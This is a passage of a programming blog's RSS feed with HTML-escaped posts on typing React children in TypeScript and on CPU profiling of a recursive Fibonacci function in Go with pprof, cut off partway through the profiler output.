typescript.&lt;/p&gt;&#xA;&lt;p&gt;If this is the case, consider that you can always declare the children as a prop explicitly, just as you would any other prop. And in the same way, you can declare the return value of your component as a JSX type element.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-jsx&#34; data-lang=&#34;jsx&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;interface&lt;/span&gt; propsWithChildren {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    children&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; React.ReactNode&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; Component &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; ({ children }&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; propsWithChildren)&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; JSX.Element =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;div&lt;/span&gt;&amp;gt;{children}&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;div&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    )&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;export&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;default&lt;/span&gt; Component&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Typescript should not warn you about any errors with this approach to the problem.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;other-resources-on-react-fc-usage&#34;&gt;Other resources on React FC usage&lt;/h2&gt;&#xA;&lt;p&gt;Below are links to the original discussion and some posts on this topic.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/facebook/create-react-app/pull/8177&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Eliminate React.FC from typescript template&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://medium.com/raccoons-group/why-you-probably-shouldnt-use-react-fc-to-type-your-react-components-37ca1243dd13&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Why you probably shouldn&amp;rsquo;t use react fc to type your react components&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.harrymt.com/blog/2020/05/20/react-typescript-react-fc.html&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;React Typescript&amp;rsquo; React.FC&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;When we use Typescript with React and we want to &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/react/what-types-to-use-for-react-components-with-children/&#34;&gt;pass a children as prop to one of our components&lt;/a&gt;&#xA;, we need to indicate the type. Generally we use the type &lt;em&gt;React.FC&lt;/em&gt;, which is short for &lt;em&gt;React.FunctionComponent&lt;/em&gt;. With this the Typescript message warning us of a children with type any will disappear.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-jsx&#34; data-lang=&#34;jsx&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; Component&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; React.FC &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; ({ children }) =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; (&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;div&lt;/span&gt;&amp;gt;{children}&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;div&lt;/span&gt;&amp;gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In addition to allowing us to work with children, &lt;em&gt;React.FC&lt;/em&gt; also causes an error if we try to return &lt;em&gt;undefined&lt;/em&gt; from our component.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Go: profiling or basic profiling of CPU usage</title>
      <link>https://coffeebytes.dev/en/go/go-profiling-or-basic-profiling-of-cpu-usage/</link>
      <pubDate>Wed, 16 Feb 2022 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/go/go-profiling-or-basic-profiling-of-cpu-usage/</guid>
      
      <category>go</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;In addition to &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-basic-testing-and-coverage/&#34;&gt;unit test testing and coverage measurement in go&lt;/a&gt;&#xA;, this programming language is capable of profiling the efficiency of the code by analyzing it in a very detailed way. This is quite useful to find bottlenecks or very expensive parts of the code, which are called numerous times or whose performance can be improved.&lt;/p&gt;&#xA;&lt;h2 id=&#34;how-does-go-profiling-work-internally-in-gnulinux&#34;&gt;How does Go profiling work internally in GNU/Linux?&lt;/h2&gt;&#xA;&lt;p&gt;GNU/Linux, more specifically GNU, has an alarm signal called &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.gnu.org/software/libc/manual/html_node/Alarm-Signals.html&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;SIGPROF&lt;/a&gt;&#xA;, this signal warns when a timer finishes measuring CPU usage and interrupts code execution.&lt;/p&gt;&#xA;&lt;p&gt;In Go profiling, the SIGPROF signal is programmed to be called every 10 ms. Each time this signal is invoked, the current instruction of the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://es.wikipedia.org/wiki/Contador_de_programa&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;program counter (PC)&lt;/a&gt;&#xA; is examined and traced back to the sequence of instructions that called it. The result of the above process is a report of the elements in the execution stack, known as &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://es.wikipedia.org/wiki/Stack_trace&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;stack trace&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;The profiling process will slow down the execution of the code, as it is interrupted every 10ms to see what is being executed. As you probably already deduced, if a function is found multiple times in the stack traces that are generated after each SIGPROF signal, it means that it has been running for a long time.&lt;/p&gt;&#xA;&lt;p&gt;At the end of the profiler the go &lt;em&gt;pprof&lt;/em&gt; tool organizes the data so that it can be represented in a more user-friendly way.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;cpu-profiling-in-go&#34;&gt;CPU profiling in go&lt;/h2&gt;&#xA;&lt;p&gt;For this entry I will use the classic fibonacci recursion to demonstrate the profiling capabilities of go. I am using go version go1.15.15 linux/amd64.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;Fibonacci&lt;/span&gt;(n &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;) &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; n &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;&lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; n&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; (&lt;span style=&#34;color:#57c7ff&#34;&gt;Fibonacci&lt;/span&gt;(n&lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;) &lt;span style=&#34;color:#ff6ac1&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;Fibonacci&lt;/span&gt;(n&lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;For testing in go, just as I explained in the previous post, we will use an array of structs to handle the different cases.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;TestFibonacci&lt;/span&gt;(t &lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;testing.T) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    tables &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; []&lt;span style=&#34;color:#ff5c57&#34;&gt;struct&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;n &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;fibo &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;{&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;},&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;{&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;},&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;{&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;},&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;{&lt;span style=&#34;color:#ff9f43&#34;&gt;15&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;610&lt;/span&gt;},&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;{&lt;span style=&#34;color:#ff9f43&#34;&gt;17&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;1597&lt;/span&gt;},&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;{&lt;span style=&#34;color:#ff9f43&#34;&gt;40&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;102334155&lt;/span&gt;},&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; _, table &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;range&lt;/span&gt; tables {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;result &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;Fibonacci&lt;/span&gt;(table.n)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;&lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; result &lt;span style=&#34;color:#ff6ac1&#34;&gt;!=&lt;/span&gt; table.fibo {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;&#x9;t.&lt;span style=&#34;color:#57c7ff&#34;&gt;Errorf&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Fibonacci incorrecta, esperabamos %d, pero obtubimos %d&amp;#34;&lt;/span&gt;, table.fibo, result)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h3 id=&#34;obtaining-profiling-information&#34;&gt;Obtaining profiling information&lt;/h3&gt;&#xA;&lt;p&gt;As we did to view the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-basic-testing-and-coverage/&#34;&gt;coverage in go testing&lt;/a&gt;&#xA;, we use a flag to create a file with the profiling information in binary, this file cannot be viewed directly.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;go&lt;/span&gt; test &lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;cpuprofile=cpu.out&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;PASS&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ok _&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;home&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;eduardo&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;Programacion&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;goTesting&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;testing &lt;span style=&#34;color:#ff9f43&#34;&gt;0.813&lt;/span&gt;s&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;But it can be used by other tools to visualize it in a more human way.&lt;/p&gt;&#xA;&lt;h3 id=&#34;display-profiling-results&#34;&gt;Display profiling results&lt;/h3&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;To see the cpu usage summary we use &lt;em&gt;tool pprof&lt;/em&gt; passing as argument the file containing the profiling data.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;go&lt;/span&gt; tool pprof cpu.out&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;File: testing.test&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Type: cpu&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Time: Feb &lt;span style=&#34;color:#ff9f43&#34;&gt;10&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;2022&lt;/span&gt; at &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;:&lt;span style=&#34;color:#ff9f43&#34;&gt;06&lt;/span&gt;&lt;span style=&#34;color:#57c7ff&#34;&gt;pm&lt;/span&gt; (CST)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Duration: &lt;span style=&#34;color:#ff9f43&#34;&gt;802.18&lt;/span&gt;ms, Total samples = &lt;span style=&#34;color:#ff9f43&#34;&gt;690&lt;/span&gt;&lt;span style=&#34;color:#57c7ff&#34;&gt;ms&lt;/span&gt; (&lt;span style=&#34;color:#ff9f43&#34;&gt;86.02&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Entering interactive &lt;span style=&#34;color:#57c7ff&#34;&gt;mode&lt;/span&gt; (&lt;span style=&#34;color:#ff5c57&#34;&gt;type&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;help&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; commands, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;o&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; options)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;After executing the above command we will be inside a terminal. If we execute &lt;em&gt;top&lt;/em&gt; we will see the behavior of our code.&lt;/p&gt;&#xA;&lt;p&gt;See how Fibonacci occupies almost all of the time used.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;(pprof) top&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;File: testing.test&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Type: cpu&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Time: Feb &lt;span style=&#34;color:#ff9f43&#34;&gt;10&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;2022&lt;/span&gt; at &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;:&lt;span style=&#34;color:#ff9f43&#34;&gt;06&lt;/span&gt;&lt;span style=&#34;color:#57c7ff&#34;&gt;pm&lt;/span&gt; (CST)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Duration: &lt;span style=&#34;color:#ff9f43&#34;&gt;802.18&lt;/span&gt;ms, Total samples = &lt;span style=&#34;color:#ff9f43&#34;&gt;690&lt;/span&gt;&lt;span style=&#34;color:#57c7ff&#34;&gt;ms&lt;/span&gt; (&lt;span style=&#34;color:#ff9f43&#34;&gt;86.02&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Entering interactive &lt;span style=&#34;color:#57c7ff&#34;&gt;mode&lt;/span&gt; (&lt;span style=&#34;color:#ff5c57&#34;&gt;type&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;help&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; commands, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;o&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; options)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;(pprof) top&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Showing nodes accounting &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; 